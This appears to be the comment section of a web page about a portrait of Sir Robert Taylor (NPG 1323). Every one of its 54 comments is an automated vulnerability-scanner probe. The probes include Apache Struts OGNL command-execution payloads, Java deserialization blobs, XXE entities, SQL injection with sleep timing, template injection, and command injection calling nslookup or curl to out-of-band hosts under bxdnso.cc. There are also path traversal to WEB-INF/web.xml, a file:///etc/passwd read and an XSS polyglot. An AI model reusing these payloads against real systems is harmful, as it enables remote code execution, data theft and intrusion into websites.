54 thoughts on “NPG 1323; Sir Robert Taylor by Unknown artist, after William Miller”

1. 1zqjmg'”(){}:/1zqjmg;9

2. ‘XOR(if(now()=sysdate(),sleep(2),0))XOR’

3. %{(#dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess%3D#dm):((#container%3D#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil%3D#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd%3D’cmd.exe /c set /a 55433999 – 163189′).(#iswin%3D(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds%3D(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p%3Dnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process%3D#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

4. rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALWQzYTdodjY2dWpkczcycmc4bWswenE0czZoeXA2eWdkai5iLmJ4ZG5zby5jY3QAAHEAfgAFdAAEaHR0cHB4dAA0aHR0cDovL2QzYTdodjY2dWpkczcycmc4bWswenE0czZoeXA2eWdkai5iLmJ4ZG5zby5jY3g=

5. eJyUjDFOw0AQRT/YURKUAigo6CmxEYQYQQESUkQk04Do2dibrJPFs8xOEtNwDE7BJRAnoKWm5QZIIEe5AK96v/jv9RsNz9iaqLmKZlLY6Ep5c61co/n59r5z/xFgvY8NSyrvq0yIB2iLYe0N2bxy5xeo6SxaADYBrHlGZxkrtUR3N+nLXtLb/fniAM0BWkZ5c0m5HiB0xJKirWZiiAt5Emyn9TG2qhzHt8JFOT5LEY4Kqx/xjCBFaMjLyluOSSgju9oB69FSK/e7QrCfH6nEzHu92ST3ySGPTx6mBzRVZZJQlxfH2kXDaFjlpacoywSoCw1BaEScqwTdWk7j+F+d6i8AAP//otJunA==

6. <!DOCTYPE ANY[]>&content;

7. <!DOCTYPE message [<!ENTITY % eval "”>%eval;%error;%local_dtd;]>

9. %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“curl”,”http://d3a7hv66ujds72rg8mk0e6m1gj1ugbj5c.b.bxdnso.cc”}).start())}

10. ${(#context[‘xwork.MethodAccessor.denyMethodExecution’]%3Dfalse)(#_memberAccess[“allowStaticMethodAccess”]%3Dtrue,#a%3D@java.lang.Runtime@getRuntime().exec(“expr 61387269 – 957934”).getInputStream(),#b%3Dnew java.io.InputStreamReader(#a),#c%3Dnew java.io.BufferedReader(#b),#d%3Dnew char[50],#c.read(#d),#sbtest%3D@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#sbtest.println(#d),#sbtest.close())}

11. @d3a7hv66ujds72rg8mk0gxm48zt97e6pi.b.bxdnso.cc

12. ‘ + (#_memberAccess[“allowStaticMethodAccess”]=true,#foo=new java.lang.Boolean(“false”) ,#context[“xwork.MethodAccessor.denyMethodExecution”]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(“expr 90221244 – 923545”).getInputStream())) + ‘

13. {{=527581412243-5173435793}}

14. $(nslookup -q=ptr d3abrnm6ujds72t7f700yhgfio8xxyxp1.b.bxdnso.cc||curl http://d3abrnm6ujds72t7f700yhgfio8xxyxp1.b.bxdnso.cc)

15. ‘;(nslookup -q=ptr d3abrnm6ujds72t7f7008s881trcodzzb.b.bxdnso.cc||curl http://d3abrnm6ujds72t7f7008s881trcodzzb.b.bxdnso.cc);’

16. “|(nslookup -q=ptr d3abrnm6ujds72t7f7008t78zw7s56rce.b.bxdnso.cc||curl http://d3abrnm6ujds72t7f7008t78zw7s56rce.b.bxdnso.cc)|”

17. [[822402464559-4830615251]]

18. {% 921933792062-4242643212 %}

19. ${{224145685072-6910920660}}

20. ;{{925109712941-6420340410}}

21. ${process.mainModule.require(‘child_process’).execSync(‘nslookup -q=ptr d3abrnm6ujds72t7f700qos7d9sud7jmr.b.bxdnso.cc’)}

22. ${T(java.lang.Runtime).getRuntime().exec(‘nslookup -q=ptr d3abrnm6ujds72t7f700cxqr1td5a3wor.b.bxdnso.cc’)}

23. ${T(java.lang.Runtime).getRuntime().exec(‘nslookup -q=ptr d3abrnm6ujds72t7f700wchi4mexf34jp.b.bxdnso.cc’)}

24. <!DOCTYPE message [ <!ENTITY % eval "”>%eval;%error;’>%local_dtd;]>

25. rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALWQzYWNhYzY2dWpkczcydXFja2pneHlkYmN3MTRrZTFnaS5iLmJ4ZG5zby5jY3QAAHEAfgAFdAAEaHR0cHB4dAA0aHR0cDovL2QzYWNhYzY2dWpkczcydXFja2pneHlkYmN3MTRrZTFnaS5iLmJ4ZG5zby5jY3g=

26. |expr 867497074913 – 1829238469

27. ;gethostbyname(‘vluarx.’.’d3acac66ujds72uqckjg9qiqjg8boni4t.b.bxdnso.cc’);

28. #{T(java.net.InetAddress).getByName(“nkeboz.”+”d3acac66ujds72uqckjgc41pd1sojemrq.b.bxdnso.cc”)}

29. (nslookup -q=ptr d3acac66ujds72uqckjgwt56scex4qc47.b.bxdnso.cc||curl http://d3acac66ujds72uqckjgwt56scex4qc47.b.bxdnso.cc)

30. &(nslookup -q=ptr d3acac66ujds72uqckjgmwpmoq5t84hb8.b.bxdnso.cc||curl http://d3acac66ujds72uqckjgmwpmoq5t84hb8.b.bxdnso.cc)&

31. “;(nslookup -q=ptr d3acac66ujds72uqckjg835x587rebghd.b.bxdnso.cc||curl http://d3acac66ujds72uqckjg835x587rebghd.b.bxdnso.cc);”

32. “|(nslookup -q=ptr d3acac66ujds72uqckjghn33wyoj6tebo.b.bxdnso.cc||curl http://d3acac66ujds72uqckjghn33wyoj6tebo.b.bxdnso.cc)|”

33. “&(nslookup -q=ptr d3acac66ujds72uqckjgcnrdinfn8nn88.b.bxdnso.cc||curl http://d3acac66ujds72uqckjgcnrdinfn8nn88.b.bxdnso.cc)&”

34. [[933454186091-2241888695]]

35. ${{“{{“}}506029620303-9684377918{{“}}”}}

36. {system(‘nslookup -q=ptr d3acac66ujds72uqckjgo8ufdrjkn8r13.b.bxdnso.cc’)}

37. ${T(java.lang.Runtime).getRuntime().exec(‘nslookup -q=ptr d3acac66ujds72uqckjgyiet1w5cjhppg.b.bxdnso.cc’)}

38. “XOR(if(now()=sysdate(),sleep(2),0))XOR”

39. ../../../../../../../../../../../../../../../../../../WEB-INF/web.xml%00

40. %%{34742810 – 940269}

41. ‘+(92944348 – 432851)+’

42. ‘ + (#_memberAccess[“allowStaticMethodAccess”]=true,#foo=new java.lang.Boolean(“false”) ,#context[“xwork.MethodAccessor.denyMethodExecution”]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(“cmd.exe /c set /a 45829029 – 856018”).getInputStream())) + ‘

43. rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALWQzYWQ5aDY2dWpkczcydTRndHQwZmtqOWhhNXV3OG9xNy5iLmJ4ZG5zby5jY3QAAHEAfgAFdAAEaHR0cHB4dAA0aHR0cDovL2QzYWQ5aDY2dWpkczcydTRndHQwZmtqOWhhNXV3OG9xNy5iLmJ4ZG5zby5jY3g=

44. url:http://d3ad9h66ujds72u4gtt0wg36ecsr4sut9.b.bxdnso.cc/

45. %{(#context=#attr[‘struts.valueStack’].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec(‘curl http://d3ad9h66ujds72u4gtt06okm1ofg8r1cw.b.bxdnso.cc‘))}

46. %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“curl”,”http://d3ad9h66ujds72u4gtt0rewu99d4ba7sx.b.bxdnso.cc”}).start())}

47. <!DOCTYPE root [%test;]>

48. @d3ad9h66ujds72u4gtt0wg36ecsr4sut9.b.bxdnso.cc

49. \d3ad9h66ujds72u4gtt0wg36ecsr4sut9.b.bxdnso.cc

50. ‘ OR 3*7*8=172 —

51. ‘||(SELECT(CASE WHEN (true) THEN (SELECT 1 FROM PG_SLEEP(2)) ELSE 1 END))||’

52. ${process.mainModule.require(‘child_process’).execSync(‘nslookup -q=ptr d3ad9h66ujds72u4gtt0pwjkxzkgy5gc3.b.bxdnso.cc’)}

53. file:///etc/passwd

54. jaVasCript:/*-/*`/*\`/*’/*”/**/(/* */)//%%0D%%0A%%0d%%0a//</stYle/</titLe/</teXtarEa/